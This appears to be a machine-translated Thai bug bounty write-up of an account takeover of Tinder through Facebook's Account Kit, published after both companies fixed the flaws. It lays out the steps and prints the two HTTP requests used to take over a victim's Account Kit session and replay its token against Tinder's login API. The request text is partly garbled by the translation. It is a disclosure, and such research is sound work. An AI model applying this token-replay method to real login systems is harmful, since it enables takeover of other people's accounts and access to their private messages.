ฉันแฮ็กบัญชี Tinder โดยใช้ Account Kit ของ Facebook ได้อย่างไรและได้รับรางวัล $ 6,250

สิ่งนี้กำลังเผยแพร่โดยได้รับอนุญาตจาก Facebook ภายใต้นโยบายการเปิดเผยที่รับผิดชอบ

ช่องโหว่ที่กล่าวถึงในบล็อกโพสต์นี้ถูกเสียบอย่างรวดเร็วโดยทีมวิศวกรของ Facebook และ Tinder

โพสต์นี้เกี่ยวกับช่องโหว่ในการยึดบัญชีที่ฉันพบในแอปพลิเคชันของ Tinder ด้วยการใช้ประโยชน์จากสิ่งนี้ผู้โจมตีสามารถเข้าถึงบัญชี Tinder ของเหยื่อซึ่งต้องใช้หมายเลขโทรศัพท์ของตนในการเข้าสู่ระบบ

สิ่งนี้อาจถูกใช้ประโยชน์ผ่านช่องโหว่ใน Account Kit ของFacebook ซึ่ง Facebook ได้แก้ไขล่าสุด

ทั้งเว็บและแอปพลิเคชันมือถือของ Tinder อนุญาตให้ผู้ใช้ใช้หมายเลขโทรศัพท์มือถือเพื่อเข้าสู่บริการ และบริการเข้าสู่ระบบนี้ให้บริการโดย Account Kit (Facebook)

ผู้ใช้คลิกเข้าสู่ระบบด้วยหมายเลขโทรศัพท์บน tinder.com จากนั้นระบบจะเปลี่ยนเส้นทางไปยัง Accountkit.com เพื่อเข้าสู่ระบบ หากการพิสูจน์ตัวตนสำเร็จแล้ว Account Kit จะส่งโทเค็นการเข้าถึงไปยัง Tinder เพื่อเข้าสู่ระบบ

ที่น่าสนใจคือ Tinder API ไม่ได้ตรวจสอบรหัสไคลเอ็นต์บนโทเค็นที่ให้มาโดย Account Kit

สิ่งนี้ทำให้ผู้โจมตีสามารถใช้โทเค็นการเข้าถึงของแอปอื่น ๆ ที่ Account Kit จัดหาให้เพื่อเข้าครอบครองบัญชี Tinder จริงของผู้ใช้รายอื่น

คำอธิบายช่องโหว่

Account Kit เป็นผลิตภัณฑ์ของ Facebook ที่ช่วยให้ผู้ใช้สามารถลงทะเบียนและเข้าสู่ระบบแอพที่ลงทะเบียนไว้ได้อย่างรวดเร็วโดยใช้เพียงหมายเลขโทรศัพท์หรือที่อยู่อีเมลโดยไม่ต้องใช้รหัสผ่าน มีความน่าเชื่อถือใช้งานง่ายและให้ผู้ใช้มีทางเลือกว่าต้องการสมัครใช้งานแอปอย่างไร

Tinder เป็นแอพมือถือตามตำแหน่งสำหรับการค้นหาและพบปะผู้คนใหม่ ๆ ช่วยให้ผู้ใช้สามารถชอบหรือไม่ชอบผู้ใช้รายอื่นจากนั้นดำเนินการแชทหากทั้งสองฝ่ายเลื่อนไปทางขวา

มีช่องโหว่ใน Account Kit ซึ่งผู้โจมตีสามารถเข้าถึงบัญชี Account Kit ของผู้ใช้คนใดก็ได้เพียงแค่ใช้หมายเลขโทรศัพท์ เมื่อเข้ามาผู้โจมตีอาจได้รับโทเค็นการเข้าถึง Account Kit ของผู้ใช้ที่มีอยู่ในคุกกี้ (aks)

หลังจากนั้นผู้โจมตีสามารถใช้โทเค็นการเข้าถึง (aks) เพื่อเข้าสู่ระบบบัญชี Tinder ของผู้ใช้โดยใช้ API ที่มีช่องโหว่

วิธีการหาประโยชน์ของฉันทำงานทีละขั้นตอน

ขั้นตอนที่ 1

ขั้นแรกผู้โจมตีจะลงชื่อเข้าใช้บัญชี Account Kit ของเหยื่อโดยป้อนหมายเลขโทรศัพท์ของเหยื่อใน“ new_phone_number ” ในคำขอ API ที่แสดงด้านล่าง

โปรดทราบว่าชุดบัญชีไม่ได้ตรวจสอบการจับคู่หมายเลขโทรศัพท์ด้วยรหัสผ่านแบบใช้ครั้งเดียว ผู้โจมตีสามารถป้อนหมายเลขโทรศัพท์ของใครก็ได้จากนั้นลงชื่อเข้าใช้บัญชี Account Kit ของเหยื่อ

จากนั้นผู้โจมตีสามารถคัดลอกโทเค็นการเข้าถึง "aks" ของแอป Account Kit ของเหยื่อจากคุกกี้

API ชุดบัญชีที่มีช่องโหว่:

POST / update / async / phone / confirm /? dpr = 2 HTTP / 1.1 โฮสต์: www.accountkit.com new_phone_number = [หมายเลขโทรศัพท์ของ vctim] & update_request_code = c1fb2e919bb33a076a7c6fe4a9fbfa97 [รหัสคำขอของผู้โจมตี] & confirm_code = 2588 & 0 รหัสผู้โจมตี] 1 & __ dyn = & __ req = 6 & __ be = -1 & __ pc = PHASED% 3ADEFAULT & __ rev = 3496767 & fb_dtsg = & jazoest =

ขั้นตอนที่ 2

ตอนนี้ผู้โจมตีเพียงแค่เล่นคำขอต่อไปนี้โดยใช้โทเค็นการเข้าถึง "aks" ของเหยื่อที่คัดลอกไปไว้ใน Tinder API ด้านล่าง

พวกเขาจะเข้าสู่บัญชี Tinder ของเหยื่อ จากนั้นผู้โจมตีจะสามารถควบคุมบัญชีของเหยื่อได้อย่างสมบูรณ์ พวกเขาสามารถอ่านแชทส่วนตัวข้อมูลส่วนตัวแบบเต็มและปัดโปรไฟล์ของผู้ใช้คนอื่นไปทางซ้ายหรือขวาได้

Tinder API ที่มีช่องโหว่:

POST / v2 / auth / login / accountkit? locale = th HTTP / 1.1

โฮสต์: api.gotinder.com

การเชื่อมต่อ: ปิด

ความยาวเนื้อหา: 185

ที่มา: //tinder.com

เวอร์ชันแอป: 1000000

แพลตฟอร์ม: เว็บ

User-Agent: Mozilla / 5.0 (Macintosh)

ประเภทเนื้อหา: แอปพลิเคชัน / json

ยอมรับ: * / *

ผู้อ้างอิง: //tinder.com/

ยอมรับการเข้ารหัส: gzip, deflate

ยอมรับภาษา: en-US, en; q = 0.9

{“ โทเค็น”:” xxx”,” id”:””}

วิดีโอพิสูจน์แนวคิด

เส้นเวลา

ช่องโหว่ทั้งสองได้รับการแก้ไขโดย Tinder และ Facebook อย่างรวดเร็ว Facebook ให้รางวัลฉันเป็นเงิน 5,000 ดอลลาร์สหรัฐและ Tinder ให้ฉัน 1,250 ดอลลาร์

ฉันเป็นผู้ก่อตั้ง AppSecure ซึ่งเป็น บริษัท ด้านความปลอดภัยทางไซเบอร์โดยเฉพาะซึ่งมีทักษะและความเชี่ยวชาญที่พิถีพิถันมาหลายปี เราอยู่ที่นี่เพื่อปกป้องธุรกิจและข้อมูลสำคัญของคุณจากภัยคุกคามออนไลน์และออฟไลน์หรือช่องโหว่

คุณสามารถติดต่อเราได้ที่ [email protected] หรือ [email protected]